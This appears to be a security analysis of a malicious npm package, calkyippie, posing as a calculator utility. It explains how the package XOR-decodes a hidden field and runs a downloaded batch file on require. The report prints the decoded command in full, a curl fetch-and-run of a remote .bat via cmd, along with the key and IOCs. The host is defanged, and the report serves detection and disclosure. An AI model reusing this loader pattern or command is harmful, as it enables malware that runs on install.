calkyippie@1.0.0

Analysis

calkyippie@1.0.0 is a disguised Windows malware loader shipped as a "calculator UI" utility. Its entry point, main.js, runs the payload as soon as the package is required: it reads package.json, takes an embedded hex `signature` field, XOR-decodes it with the hardcoded key "theskyisbeautiful" (stored in config.json), and only proceeds if the plaintext begins with EXEC_MODE. The decoded string is "EXEC_MODE=1; curl -fSL hxxp://65[.]109[.]171[.]171/baseball[.]bat -o baseball.bat && cmd /c start /b baseball.bat". main.js splits that string on "; " and passes the second part to child_process.exec() after a one-second setTimeout, so installing/requiring the package downloads baseball.bat from 65[.]109[.]171[.]171 and launches it detached through cmd /c start /b. Benign filler code (a Mandelbrot loop in performRoutine and a sha256 self-hash routine) is present to make the file look like a rendering utility, and a bundled DISCLOSURE file claims the obfuscation exists to protect proprietary algorithms. README.md refers to an unrelated package name, calculatoropenerapp. The package has no legitimate calculator or rendering functionality; its only real action is retrieve-and-run of a remote batch file. IOCs: hxxp://65[.]109[.]171[.]171/baseball[.]bat, host 65[.]109[.]171[.]171, dropped file baseball.bat in the current working directory, XOR key "theskyisbeautiful", gating marker EXEC_MODE.